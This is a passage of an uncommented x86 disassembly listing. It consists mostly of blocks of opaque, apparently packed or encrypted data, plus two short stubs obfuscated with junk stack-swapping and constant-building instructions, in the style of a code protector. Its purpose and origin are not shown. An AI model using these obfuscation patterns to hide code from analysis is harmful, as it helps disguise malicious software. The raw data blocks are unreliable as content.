		dd 0AB008F1Dh, 2C6DFC9Dh, 87DAFC4Dh, 95CAE5C5h,	68000004h
		dd 0DB0ABEA3h, 109DB57Fh, 1D2A22B3h, 0CC86D6F8h, 5E7D1C7Dh
		dd 8EAD862Fh, 35A8A716h, 0A8A9AD9h, 330263A2h, 8A9B44C2h
		dd 0DA6F9B0Ah, 0AD0CE2B2h, 1F14A5Ah, 70F00000h,	109DB517h
		dd 0A0FA6B4Ch, 69109DB4h, 49A09C24h, 36F9E3Dh, 0AC168548h
		dd 456D4A69h, 8B0A5BF7h, 8EBE0F41h, 95B70A30h, 8DC31436h
		dd 0D4935DBCh, 0D6F591D8h, 3ED2CEF1h, 0EBF593D9h, 6D227FEEh
		dd 0AAEB1076h, 0F78D0BB7h, 58753479h, 93Fh, 67470F5Bh
		dd 7D5DF141h, 6141095Bh, 4260F03Fh, 2383D160h, 7FCE3FF0h
		dd 85D3F5D5h, 78CBEDCDh, 7DD0F2D0h, 0FDE2EFCFh,	0B6B30E88h
		dd 0A0C2D716h, 0C91A6CBDh, 0AF7A372Dh, 12340564h, 0C0B2C7BFh
		dd 55088956h, 0E6FE371h, 40B9573Fh, 0AD0D3F92h,	41AE4715h
		dd 3FE29A3h, 0C0EF19BCh, 3CB2E9F3h, 88000001h, 51E06CBDh
		dd 5370DC6Dh, 0F3A3296Ch, 268DA14Dh, 1282867Eh,	2E2CB49Bh
		dd 308FF7F2h, 0FB84DE0Fh, 0C84D109Dh, 68F953E6h, 43B29F29h
		dd 168EE8E6h, 0EE1F2E6Fh, 0A8AE570h, 8EAE4BC7h,	5AACD6CEh
		dd 4276h, 0E0C2CC00h, 2E6FFE4Ch, 374F9AA6h, 6C21B298h
		dd 0A2E372D8h, 0FBDCF9C3h, 0B52DA9DCh, 97F6109Dh, 98DFBE4Dh
		dd 6DB0168Eh, 8CDBFFDCh, 0CC1475C4h, 8A88DD3Dh,	61DA340Ah
		dd 0AD3E7D3Bh, 0A2E55Ah, 0BD790000h, 6D51E06Ch,	0E6E574E0h
		dd 0EC2175C4h, 109DB572h, 31BBDA3Bh, 0AFBE8E1Fh, 94321AABh
		dd 9DE7EB61h, 0C6371810h, 109D624Ch, 0E6E8F015h, 50CA3B53h
		dd 19109D62h, 0F93595F4h, 0C43996F0h, 1687C030h, 0E7CBE82Dh
		dd 0F6DCFA5Ah, 0D078ED67h, 0E5800CF0h, 7FD0B46h, 119D0000h
		dd 0F3436545h, 3557B5Bh, 0F2416747h, 0B5A805Eh,	0F53A6949h
		dd 0AB0B4998h, 0BB1B3785h, 0A8064295h, 0BD1D2F82h, 0E03AABB4h
		dd 0A916B6B3h, 0DDC2CE70h, 0FA6BDA9Dh, 109EAAA0h, 0D17F2469h
		dd 8DBF09A0h, 94B61440h, 0DAB0B41h, 51E06CBDh, 5270DC6Dh
		dd 27377h, 0DE725800h, 0C2FA646Ch, 3DB3D2DDh, 0B3D263EFh
		dd 5C6F6E0Ch, 45412894h, 0D3614966h, 25AFEE7Fh,	8625D6E6h
		dd 3687CB16h, 0A7C64716h, 9EE76796h, 0D43E0A85h, 471537h
		dd 0E3EF5AA6h, 53000001h, 9DB51770h, 52342D10h,	47E80075h
		dd 0A8ED1685h, 0B696270Bh, 0AFA33119h, 67757F9Eh, 7F5CF041h
		dd 43DAD958h, 85A6B812h, 0B71C810Ah, 14DC64F2h,	2547655h
		dd 3138844Ch, 4547655h,	2459864Eh, 107617A9h, 985E1372h
		dd 0D979F737h, 7153712h, 39850000h, 4B9BBD1Dh, 2B7DA303h
		dd 4A99BF1Fh, 3382A806h, 9D928121h, 5373E170h, 5373DF6Dh
		dd 506EDA6Dh, 5575D76Ah, 0B812438Ch, 8116B6B4h,	6CBD3628h
		dd 0DC6D51E0h, 0BE7A52AAh, 1C5106D3h, 109DFEC2h, 0A6B0A8Bh
		dd 2002533Bh, 0BEC1FB8Fh, 6DE65D4Bh, 14DC3D0Ch,	7456017Ah
		dd 6D5F69DFh, 0FA5270DCh, 0A3419C3Ah, 125A2h, 6CBDB800h
		dd 0DC6D51E0h, 0B565270h, 0CC295C7Bh, 55168EA2h, 72D02130h
		dd 0C90A8A9Fh, 0D0A0CC3Dh, 785AAD0Ch, 2Ah, 0C8BEA3DEh
		dd 989B7AEBh, 296C168Eh, 8969E918h, 46C00A8Ah, 3EC987B5h
		dd 0BB715AADh, 42000000h, 2ABACB60h, 99F84928h,	6CBD854Fh
		dd 557251E0h, 9DB4A620h, 0C88ADA10h, 0CA4B1879h, 0C68F4EE5h
		dd 0C20AC8C0h, 42134190h, 0CE9FAD00h, 3317A991h, 0BE8C2022h
		dd 72C315DFh, 2389FCDAh, 2B109EA7h, 1414B29Ah, 0EB1AB9CDh
		dd 16887155h, 0AE943352h, 0B996351Fh, 886CCA44h, 4D72930Ah
		dd 5F2EA2E6h, 63717BA4h, 0F164F03Dh, 800DD62Bh,	0F0B49158h
		dd 0AA000005h, 0B69C3A1Ch, 0A68C2A24h, 0B89A3812h, 0A7892927h
		dd 0A99C3A1Ah, 7CD86586h, 66EC7C5Eh, 7BCD6248h,	68E4755Bh
		dd 2F5E814Ah, 16B6B5B3h, 0C239257Ch, 0B0FD68DDh, 0D7E19FE9h
		dd 0CFEC68F5h, 0E8F058EBh, 0D775C8EAh, 6CBD59F7h, 71C08C1Dh
		dd 0C842B310h, 91109DB4h, 0FFDC6D0Ch, 34F2D4D8h, 4A92CB34h
		dd 3797B508h, 5318h, 0DDC2B600h, 0C4390BEBh, 109DB64Ah
		dd 24CDF213h, 0EF5FEFBDh, 0C114468Eh, 0B29DBA8Bh, 365778B9h
		dd 0A9FEA077h, 0B203559Fh, 3A87CB9Ah, 0B8074B1Ah, 5993C998h
		dd 80832FE0h, 0BC611E95h, 73088ADDh, 0DE6EBFh, 118D00DFh
		dd 0DA109DF5h, 472631BBh, 8C000000h, 4EE0C2h, 94396B8h
		dd 23A28DAAh, 5368E143h, 0B1B32F5Eh, 197C109Eh,	60E110CFh
		dd 41109EB2h, 0B08F38D1h, 9EB1E13Dh, 616BAA10h,	516EDE6Fh
		dd 86B0466h, 6771DC69h,	0D2664C69h, 0C7E15378h,	2703B73Bh
		dd 6CBD439Dh, 0B557B322h, 0FD20109Dh, 72C387D9h, 0C5E37213h
		dd 0EACDEA9Ch, 9DB51F7Bh, 76E7E810h, 109DB51Ch,	0F7C1A0E5h
		dd 82D5FDDAh, 818FFEC6h, 6E168548h, 0C1A2FC71h,	2A6B0A84h
		dd 0F3466C4Bh, 6577959h, 0F2D8F746h, 8CCBF062h,	1D4A782Ah
		dd 0F5EC4890h, 8C33291h, 4D106C47h, 0F899B505h,	0E666F7DBh
		dd 0FD4FE2C8h, 6D19506Ch, 0A2021F4Eh, 9CBB0A5Ch, 58A0ED69h
		dd 8D57B6FEh, 0FEC8BDE0h, 1773DDD6h, 4657550h, 0A9350000h
		dd 9B2B0DADh, 9B2D13B3h, 9A290FAFh, 0A33218B6h,	0D2211B1h
		dd 0A30351E0h, 83232F7Dh, 0A03E0A9Dh, 852527BAh, 0E86293BCh
		dd 0B116B6B7h, 6CBDC678h, 4DE0C2E0h, 0D96C6EFFh, 0AE1CE273h
		dd 0B2D4651Dh, 96E38125h, 9DA07279h, 0C5CF5D42h, 4EC83Dh
		dd 0F617109Eh, 7CD8F697h, 0A341A1BCh, 5E24h, 0DDC23A00h
		dd 2C9CE174h, 0E6529AB3h, 32C8BFBh, 2009FD0Fh, 0D409A6AEh
		dd 109E287Ah, 0DDFAC243h, 8F6EB5A8h, 69FCDE16h,	468CD9E3h
		dd 8A0B5AF4h, 7AEBCCEBh, 0A8AD920h, 3F1CA4E9h, 0A5A73A20h
		dd 696B7594h, 6D5572D6h, 6E6C74E0h, 8AD8A1FFh, 0C488D90Ah
		dd 0D96FC4E6h, 3A54D88h, 0BDF10000h, 6D51E06Ch,	6C5370DCh
		dd 2238D9D0h, 3220A865h, 3C9BEBF6h, 8F0B6CC9h, 3390F516h
		dd 0EC401F0Ch, 45CDF258h, 9847911Eh, 8BB3E969h,	2F13400Ah
		dd 7507AC9Ch, 92919741h, 0E455AF39h, 0ACD8F8B8h, 29B89A5Ah
		dd 207AA12Bh, 0E0000000h, 0EBC8BEA3h, 8E989B7Ah, 18296C16h
		dd 8A8969E9h, 0B546C00Ah, 0AD3EC987h, 0C5715Ah,	0BDC50000h
		dd 0A58D1A6Ch, 0F464E27Bh, 0A087C495h, 7AFD6D0Bh, 6E60680Ch
		dd 0E2E475DFh, 6F6CFD4Fh, 0C4C11D50h, 0B8A109Dh, 0E3E8FC1h
		dd 0C0C73DB0h, 9E2F109Dh, 972A10AEh, 83A7A4B5h,	45035833h
		dd 0ECF495F4h, 9B2A99D0h, 869A8B9h, 90EF3AABh, 7598168Eh
		dd 76105955h, 0F78A2459h, 72931074h, 0B1E06D55h, 0FC1D2C20h
		dd 0B9193E9Dh, 0A411572Eh, 59E862F6h, 418F5938h, 0CF82D25Fh
		dd 79FAE825h, 0B446832Ah, 0E6000002h, 0FAE0FE58h, 0E2C8E668h
		dd 0FCDEFC4Eh, 0E3C5E56Bh, 0EDE0FE56h, 0B89C2942h, 0AAA8381Ah
		dd 0B791260Ch, 0ACA03117h, 0EB1A450Eh, 16B6BA6Fh, 0BD7DE138h
		dd 0F39B1E70h, 220CC71h, 0CC5D4363h, 0A3882280h, 7AEBC8BEh
		dd 168E989Bh, 0E918296Ch, 0A8A8969h, 2D3C18A5h,	66F59C29h
		dd 0D4BA8BEAh, 9D0C536h, 10E00C7Dh, 0B85AAD3Eh,	0D8h, 0E06CBD9Eh
		dd 74E06D51h, 0B12094E5h, 3588109Dh, 4091B717h,	0AA90AF0Ch
		dd 0C9453416h, 92109DAFh, 0BEFA6973h, 0E3C4E3A3h, 0B03591C4h
		dd 0DCFE109Dh, 1574C58Bh, 0D01D6C74h, 79168E80h, 6598B714h
		dd 0A8A7EE9h, 4B8953B2h, 5370164Bh, 74DC2722h, 0EADF010h
		dd 0A5B49A2Ch, 0BC164764h, 850474D7h, 0B79BB800h, 0A28D2A2Ah
		dd 0AF09680Bh, 70DE7092h, 0F7C1A0E1h, 0AADBFCD9h, 475AF30h
		dd 0A4C94F9h, 0F6E499BBh, 2779FAE4h, 1B94580h, 55E10000h
		dd 2F7FA101h, 4799BF1Fh, 2E7DA303h, 0F9E8422h, 0F9366545h
		dd 0AF0F4594h, 0B7173B89h, 0AC0A3E91h, 0B9193386h, 0E43EAFB0h
		dd 0AD16B6BAh, 70BDCA74h, 51E4C6E4h, 6E5F9635h,	0E775E09Eh
		dd 4B6B0A6Bh, 56F4486Ah, 0A43E8607h, 51E06CBDh,	1FADDC6Dh
		dd 82E32233h, 0A1ABFE24h, 764D9490h, 0AD0A6BE5h, 3513A88Ah
		dd 0ACDBE524h, 168EA359h, 96F06542h, 5F0A8A9Eh,	0D439B63Eh
		dd 0CD85D3F7h, 64F559E9h, 0A4C9B25h, 2BA7D6B6h,	0F40A8A9Fh
		dd 5D61F091h, 0F0EF7ECAh, 8A9F217Dh, 43ABEA0Ah,	6B4134C5h
		dd 87DA8801h, 0C0A9E5C5h, 0E4C6E9C6h, 2E6FFE54h, 6FF267A6h
		dd 6AAB107Bh, 0E666F7DBh, 0FD8E0457h, 7350362Bh, 683E8F02h
		dd 0AF02480Ah, 0FCDEFC9Dh, 7052E369h, 714E6DDBh, 643BA2FCh
		dd 882A6BFEh, 1CCB1533h, 7D35C648h, 8682202Ch, 77D5685Bh
		dd 0E9C6A7E6h, 552A4174h, 0A5BBA04h, 0F8D775C8h, 0F91107CFh
		dd 428A0F44h, 0C643ADA3h, 409FE702h, 41F178CDh,	5BE9F1FEh
		dd 462766F7h, 0D5634768h, 2247737Dh, 42684764h,	62B995EDh
		dd 0D957014Fh, 32D130B8h, 0EFF82591h, 46F4C6C8h, 8F4B94C5h
		dd 0A9983F2Bh, 3AA7317Eh, 0F5488ADBh, 517757h, 0E2CC1E86h
		dd 0F3925550h, 0B5EB1362h, 29B7EBE4h, 0A3361829h, 66F751E6h
		dd 0D3F74627h, 1A7BCA82h, 0C6AF4CC6h, 0D68CFD75h, 0C7E9C983h
		dd 4387D676h, 587F5CF4h, 0CBB89858h, 1AC913E2h,	832FCC46h
		dd 0AD295C32h, 76EB649Eh, 0E2093251h, 0A6C70E03h, 70C1E7C7h
		dd 0C508DDCh, 0EE000000h, 0CFA2DDC2h, 4F967B6Ah, 0BD4F1185h
		dd 7254E571h, 0FADC6DDFh, 7052E365h, 0DFE372E0h, 0F330252h
		dd 7FC392C2h, 2D112030h, 0BC9EAF9Bh, 2215242Ah,	5E08950h
		dd 4, 8704E883h, 895C2404h
		db 4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], eax
		push	4486h
		mov	[esp], esi
		mov	esi, 606B0595h
		sub	esi, 56121E24h
		and	esi, 9F44F15h
		dec	esi
		inc	esi
		neg	esi
		sub	esi, 0F196C49Ch
		mov	edi, esi
		pop	esi
		push	288Fh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		sub	esp, 4
		mov	[esp], edi
		add	dword ptr [esp], 398680Fh
		pop	dword ptr [eax+8]
		sub	dword ptr [eax+8], 398680Fh
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		mov	edi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		dd 0F1ABF736h, 2E96C670h, 2B8D166h, 3061908h, 0EE0FFC5h
		dd 7A199520h, 112D43D9h, 0CA5BDC76h, 0B546106h,	583BD35Ch
		dd 9044A22h, 7D273248h,	0A17A5AC9h, 130E2E31h, 7C52826Fh
		dd 1F61FAEEh, 32489C32h, 844EA704h, 993E8A0Bh, 792AFCDCh
		dd 7022561Dh, 0DE08DE74h, 0E9342157h, 2Ah, 2347DA2Eh, 2520000h
		dd 8 dup(0)
		dd 70E90000h, 6800000Ch, 6190AF4h, 0FB3E3FE9h, 0C1468FFh
		dd 35E90619h, 68FFFB3Eh, 6190D90h, 0FB3E2BE9h, 0E7368FFh
		dd 21E90619h, 68FFFB3Eh, 6190F2Dh, 0FB3E17E9h, 110B68FFh
		dd 0DE90619h, 68FFFB3Eh, 61911CBh, 0FB3E03E9h, 130468FFh
		dd 0F9E90619h, 68FFFB3Dh, 6191427h, 0FB3DEFE9h,	0B7F812FFh
		dd 6B4499C9h, 0BCEF0D75h, 6F409EC6h, 1F806111h,	83190DC1h
		dd 335F415Eh, 79E9D7D4h, 2B574962h, 0EA04DECDh,	0E132A626h
		dd 1D0A428Dh, 4A6177F0h, 0CEDDFB89h, 0E641DBF4h, 3E3E6672h
		dd 0EA88883Eh, 0DF6AA238h, 0AD3EA180h, 89637B7Bh, 53DBE7D8h
		dd 0C0BC1523h, 0BD79B158h, 7325A038h, 63C58119h, 6E569B4Dh
		dd 33F21F90h, 7A5EB683h, 22087731h, 461AA919h, 204048CBh
		dd 15000000h, 79DD48D2h, 0A1BDEAD1h, 6DA6D83Eh,	783CE94Fh
		dd 8D56F4BDh, 0CA24EE1Dh, 113B448h, 77610000h, 96CE4A61h
		dd 1B9F1337h, 2C25B33Dh, 0AD663998h, 6EEAC117h,	91A708E6h
		dd 11B45440h, 6E5F2A6Dh, 18F4E097h, 7B6B5593h, 1B2F913h
		dd 9056F17h, 0B1F34494h, 0F6A9E1F7h, 54449404h,	0D989F7B4h
		dd 74ACACFFh, 2324EFh, 604BA014h, 0AC4390AAh, 279F9792h
		dd 3EA12E24h, 0E868D012h, 9D5D9609h, 0C1E1059Bh, 6678C45h
		dd 60CCF894h, 0FAAC02B4h, 839DD268h, 3518B0A8h,	23C74D22h
		dd 416175E1h, 2D9B683h,	0E7F779A9h, 5C850D2Bh, 0A03BD343h
		dd 80F4C60Bh, 3B8F4467h, 7F93839Dh, 43889D07h, 89396BB7h
		dd 67797063h, 0F51DBB1Dh, 7B16930Ch, 0A871003Fh, 0A020A7Fh
		dd 8F6B0000h, 3BD2C220h, 86660E74h, 37C7BB25h, 775A0A78h
		dd 1006BA28h, 584A557Ch, 2E0CB2Ch, 50327992h, 0F9E7C424h
		dd 39AB1BE3h, 0F428DE2h, 5A77EB12h, 0D1275B45h,	0B1623DA4h
		dd 0FB6DDD59h, 0D14494E8h, 0F9DD598Fh, 94E8E751h, 95343544h
		dd 0ABC0A560h, 0CD53E517h, 0F748D2E6h, 5A21DE17h, 0C63278D7h
		dd 9400AF4Eh, 3D7D3679h, 746BDBBBh, 523EA1F5h, 1FF82810h
		dd 7B30CB28h, 7F608436h, 0A47D113h, 346B96FEh, 5DAD4B7Fh
		dd 0BD790DE7h, 0BB8F5C02h, 0C0F1AE53h, 3B7833D4h, 4BAF497Fh
		dd 48CB15BCh, 68DC6C68h, 60BD7901h, 0B4761C1Eh,	92000000h
		dd 13C0DF02h, 773221B7h, 0FB894A61h, 327993D6h,	1E413B78h
		dd 0EC4494E5h, 51419F0Ch, 30BFF4B7h, 0AB1B1B16h, 0C15E25A0h
		dd 616E5496h, 0E8EC6CC7h, 0F460E8ECh, 0C4BD7806h, 69E0A82h
		dd 566EBD78h, 0B88E96C8h, 44D614CFh, 4CDF34C8h,	38D0C4C7h
		dd 0B7421BCCh, 0D8408ABCh, 3ED09938h, 19493771h, 59E2E7B8h
		dd 8670FFD2h, 8E21C9Dh,	6F8B0000h, 0DB326240h, 6686EED4h
		dd 0D7275B45h, 577AEAD8h, 0F0665A48h, 0B82A755Ch, 22802BCCh
		dd 0B0129972h, 198724C4h, 0D94BBBC3h, 0AF428DE4h, 0E3FB8BB2h
		dd 0CD06ED6Ah, 88634F90h, 547D1523h, 0CB2D554Bh, 0FBD302E0h
		dd 0E8056F17h, 0B1F34494h, 0EC0DEB27h, 94E8E85Ch, 6C9EE044h
		dd 0BABB1DA7h, 71498A21h, 0EA744937h, 0CC2FD73Fh, 3E3EA1F7h
		dd 146B25Ah, 0F436BD78h, 0BC3E6180h, 0E7DD1648h, 3C289A11h
		dd 0EAE20F9Ch, 44A22253h, 43172492h, 2E4DB74Fh,	93B3632h
		dd 6645A3EFh, 0E7048C7Ch, 1DBB0FC4h, 8A6213F5h,	1E1AF021h
		dd 322E3AAEh, 1AD01236h, 2E7CE3D9h, 825A3632h, 0F5DCE829h
		dd 0EAC69AAh, 0EAA82345h, 3C6F89E1h, 0F1BA1E46h, 0D2E0DD05h
		dd 88E750A4h, 0E06B6172h, 69760F7h, 0D5338B58h,	6078ECD6h
		dd 0CF59864Bh, 1154F464h, 74C079Ch, 0AC5E4D9Fh,	949FA936h
		dd 0A3E924A4h, 0D4F5232h, 0D471E8E4h, 886C2214h, 0FBB8F308h
		dd 5F361DD9h, 60AA58A4h, 0C73704DAh, 0D7A6EB38h, 4C45Eh
		dd 93FB3700h, 9880316Eh, 94E884F0h, 78327444h, 4BCDE2FCh
		dd 94E855BFh, 0F8B52B44h, 3D9B4494h, 0CFBB6B1Ch, 50F19BC3h
		dd 374A770Fh, 6B4BC133h, 7385B7BBh, 6B4BA117h, 0B5700ABBh
		dd 61C6C941h, 0C848C15Eh, 265E7C2Fh, 0B0614AAEh, 621B905Ah
		dd 0B7771558h, 766ED8Ch, 0F3070000h, 3F9EC6BCh,	8A621270h
		dd 3BD3BF21h, 7B660E74h, 1C12BE24h, 643E6180h, 0EED4D730h
		dd 5C466586h, 0E5DBD028h, 2D972FD7h, 1B428DE5h,	6177E72Eh
		dd 0F7F894Ah, 4A617BFEh, 3A773189h, 0AFF9B24Ah,	0B93A4429h
		dd 0D73F8922h, 0ABE1F72Fh, 0A921353Eh, 0BD721F3Fh, 6748A50Dh
		dd 809A50AAh, 58718C04h, 0A2EC238Eh, 6FA466B0h,	0EBC0179Bh
		dd 2216D426h, 9D5655B2h, 0A145DB5Dh, 45D3DC31h,	375136DCh
		dd 0F58CFCFCh, 13C74738h, 447DEDD1h, 2D66E07Ch,	0A8201813h
		dd 7AD381F5h, 9A637D7h,	9CE8F2C8h, 8666EE6Ah, 589219EFh
		dd 78D95F9Bh, 0E652DD67h, 0FE8C5B66h, 0BB1DB500h, 0F107C3F0h
		dd 67E74F91h, 0B61E1A91h, 61995A51h, 0CCE355F5h, 0A7D97CD8h
		dd 85630F91h, 302A526h,	6C57B575h, 6834Dh, 9F10EA00h, 0F3BC5141h
		dd 0A407E58Dh, 0F7B8563Eh, 0A7F8D989h, 0FB918539h, 0ABD7C9D6h
		dd 11815F4Ch, 0A3CFB1FAh, 627C6645h, 0E6BA2E9Eh, 9592428Dh
		dd 0DD48D268h, 7203D979h, 27E3108Fh, 0C73F57E1h, 3EA1F754h
		dd 0A133E022h, 76AF6447h, 64FEFBC8h, 1056F17h, 7BF3BD78h
		dd 66A44D62h, 0B2F266A4h, 0EF4A3544h, 69E1553Bh, 0BD7834FFh
		dd 997D9BCDh, 4D2B8EF1h, 483A6CC7h, 9CDD30A0h, 9E3C6E41h
		dd 4D2DF66Eh, 2D6ADEB7h, 0B3CDB74Dh, 0AE088078h, 5ACD7224h
		dd 64D1EB28h, 0E6A95453h, 0D9E89DBEh, 6015ADFEh, 4CC05A26h
		dd 80643C3h, 38823C5h, 6AE9B156h, 0C9E1D8C3h, 0A4000005h
		dd 0B776946h, 0AFE3BDF2h, 744E5Dh, 0B3DFC1EEh, 3F6F514Eh
		dd 0FBA44DCFh, 0B1FADD85h, 6348A3CFh, 0B8F3157Dh, 7C0CF4CAh
		dd 428DE708h, 0D2BA0300h, 5754A748h, 8125A591h,	773EABE1h
		dd 0FEB3F80Fh, 1F06721Ah, 0B4F6BD72h, 95FFB4F6h, 754A3873h
		dd 39142E5h, 1252C6E5h,	0D37BFE53h, 5BC55303h, 19DAD127h
		dd 0B55E4DABh, 0B0203418h, 0E95B4F5Ch, 0DFBD7250h, 0F8C19B9Dh
		dd 0F36348A0h, 50FD67DFh, 0FDDBBD72h, 0BDC505AEh, 0B5EA078Bh
		dd 0E63CBEFCh, 0C0485766h, 1A2FB48h, 0D2C80000h, 5D79DD48h
		dd 0E867D179h, 89654494h, 950DED26h, 0DE6F466Dh, 0DA10BC5Ch
		dd 2BADFEDAh, 0A1B884DFh, 8330723Eh, 9F098195h,	0CDBD79D9h
		dd 339441D0h, 95FD8545h, 64763477h, 793FB228h, 0EAF797BDh
		dd 60D853EDh, 4C2C8DE8h, 76637BC7h, 3119FA36h, 347639D5h
		dd 80580C76h, 0FADEE62Bh, 8849567Bh, 60807832h,	0FE575913h
		dd 48DA606Fh, 0D642ED77h, 0F1BA52C2h, 9CF00AC0h, 0CD7BFA09h
		dd 0DDB84B93h, 1FC661A8h, 0BF376919h, 0EAF0BF4Fh, 0DC6DD3E9h
		dd 0D278A952h, 0D86A9909h, 1EB65CE0h, 9C1F2B9h,	20A1EFh
		dd 0D2720000h, 0D179DD48h, 3EA1BDEAh, 4F6DA6D8h, 0BD783CE9h
		dd 1D8D56F4h, 48CA24EEh, 0C8B4h, 61776100h, 0A646CE4Ah
		dd 0F6DEF305h, 2F805E0Bh, 0AC4C3879h, 2AC717FFh, 608D2E39h
		dd 70D8F9FFh, 0E170E464h, 83584494h, 0D06A9C28h, 0B555A444h
		dd 4494E143h, 6C8B0739h, 6317893Fh, 4494EC38h, 0DFC1EA0Eh
		dd 32479737h, 0EC1ED3DCh, 49D31C1Eh, 465E7ADEh,	59E134D5h
		dd 0F0DC1335h, 880C70F4h, 0F654B842h, 0F23EA061h, 29C848B0h
		dd 79580C76h, 5DDEA526h, 406B7713h, 3EB49h, 47688200h
		dd 0DBD42959h, 4C5F7DE5h, 0DFD02E56h, 2F709101h, 73E95D51h
		dd 0C3AF118Eh, 69198724h, 0BBA71992h, 9A348E1Dh, 0F9E256F6h
		dd 0EDDA428Dh
		dd 0F5A77A0h, 88FAB0FFh, 47AFFCDCh, 8B1C6D17h, 6480AA46h
		dd 0DCD052A2h, 5CC6541Bh, 7893FB69h, 23D0DBFDh,	7B1721E7h
		dd 2FA54E5Dh, 0C5F0D2D9h, 9568096Fh, 6899FF44h,	48D2BB6Bh
		dd 0ED5D79DDh, 0BB6B687Bh, 0D090F51h, 8CE0D909h, 0D9BDB9Ch
		dd 0FE5216F5h, 667480B8h, 54B38026h, 0FD1078C1h, 0FFC901B2h
		dd 0BA5246D2h, 0BD72A14Eh, 1EE0C3Eh, 0BC4CCC67h, 0C747A019h
		dd 39AB1B0Fh, 1FB747A0h, 0A0E2E2C9h, 26A4616Ah,	0E3970FCh
		dd 32B7Bh, 7A84200h, 9B14E999h,	0C9F3D25h, 9F10EE96h, 0EFB05141h
		dd 0B3291D91h, 36F514Eh, 0A9D9C7E4h, 0FB675952h, 0DAF4CEDDh
		dd 0F9229636h, 2D1A428Dh, 4A6177E0h, 0F3937F89h, 4494E881h
		dd 5FB34577h, 2FC02289h, 3A1E1A15h, 94E82692h, 3F9E1644h
		dd 41874370h, 0DC67DFB7h, 0AA3EA1F6h, 0C503AC42h, 208700Ch
		dd 3515BD78h, 5108582Ch, 9F2F89F5h, 627242ADh, 408AE2CAh
		dd 0EFB342BAh, 43D748CAh, 0AC000000h, 327993FBh, 72BDC7A8h
		dd 8EFA9286h, 7E4494E8h, 0EEEAAE4Ch, 0E92A8166h, 9C830711h
		dd 6A3EA1BDh, 9B017B38h, 86BD783Ch, 5E1BF262h, 6177317Ah
		dd 7A1AEEFBh, 4AB24857h, 48CA24BBh, 0BEDFh, 93FBB400h
		dd 0CFDCFC79h, 3622D819h, 94E82296h, 52E81A44h,	0B94F26C2h
		dd 0D09C1F2h, 94E80B7Dh, 9BF0144h, 8A15BCC8h, 0E9D3B49h
		dd 0E019EFE5h, 94E8FC68h, 509ACC44h, 0E547FA72h, 23C54494h
		dd 8E6A1A88h, 213BF41Dh, 3F7A1206h, 0EDC15E22h,	6EF8C5BBh
		dd 0A1B353C3h, 57C74C88h, 628F1CEFh, 5EF662A8h,	0CEB62C73h
		dd 20EF7C23h, 0D570FFFEh, 1F2CFEAh, 5F7B0000h, 0EB027250h
		dd 56B6DEC4h, 0E7F76B55h, 47AADAC8h, 0C0366A58h, 88FAA54Ch
		dd 0D2B0FBDCh, 806249A2h, 0C9B7F414h, 97B0BF3h,	0FF428DFBh
		dd 5A77BB02h, 1EE94A5Fh, 6F39FFB3h, 24876111h, 320A5ABEh
		dd 0E6FFAC6Eh, 0D2646F89h, 5D79DD48h, 0E867D179h, 14B54494h
		dd 0D8098035h, 0AF497B07h, 0A121645Bh, 0F320623Eh, 798763D9h
		dd 13E07EBDh, 0CB9F14A3h, 0FB3A48h, 770B0000h, 0B956461h
		dd 6BF4FFDDh, 268392B7h, 5A903A4Ch, 0D9C62B99h,	0F9A418h
		dd 0BFD34494h, 9408DD47h, 5F79AB44h, 62D6D533h,	0E041CE42h
		dd 0D36546EBh, 0B2C3254Dh, 885F535Ch, 6571E523h, 947A73E5h
		dd 1174944h, 2A051FD0h,	0CFA2A2Eh, 0F99B321Eh, 0CC2F2AF3h
		dd 91DF9D18h, 94BE8FF9h, 7D4B7D44h, 8F940F7Bh, 40823EA1h
		dd 0D84CBCD8h, 0B0BD79CDh, 0A9366C6Eh, 24A4949Fh, 0C74D6231h
		dd 0F161D507h, 0FB6DDD10h, 0D1B74396h, 0FB67598Fh, 5AC717D6h
		dd 0BADAFEEFh, 0D2EE5A52h, 0ACDEB743h, 18746D5Eh, 56417100h
		dd 0CF63h, 733C9E00h, 2788650Dh, 7833C9B9h, 2B845A0Ah
		dd 7B24CDB5h, 27A59905h, 77EBD5CAh, 2D554B60h, 8F03DDCEh
		dd 7E503279h, 0FC86F29Ah, 7976428Dh, 455A774Ch,	0C523AB5Bh
		dd 28C054E6h, 0E8CF39D1h, 8BBD4494h, 9FB3633Dh,	94E8BD27h
		dd 0BF598B44h, 14617794h, 0BEFCB5FAh, 1BBDC70Ch, 839D3290h
		dd 9218B0A8h, 223EABE1h, 625259B2h, 17F3207Fh, 0D73F8101h
		dd 90EE4887h, 7583292Dh, 1B90685Ch, 5A1BBDA5h, 980C7C7Dh
		dd 70BD725Dh, 852E7C2Eh, 81156507h, 644BA3E6h, 0E5C625AFh
		dd 0D19AB82Ch, 7E4C5F79h, 92EAF767h, 174B3576h,	9B29EAC1h
		dd 0D6D53643h, 0E62BDD1Dh, 0F04811BDh, 452D9318h, 7536D2A3h
		dd 874C7E3Ch, 3F2h, 5940C300h, 874C6377h, 23D0DBFDh, 0A0515AB1h
		dd 1BD8D334h, 9A5748A9h, 1BD8C72Ah, 995A55A9h, 19DAD12Bh
		dd 0B45D52ABh
		db 52h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ecx
		mov	edx, 32992C17h
		inc	edx
		push	ecx
		mov	ecx, 34802583h
		xor	edx, ecx
		pop	ecx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		push	281Eh
		mov	[esp], edx
		pop	dword ptr [ecx+8]
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
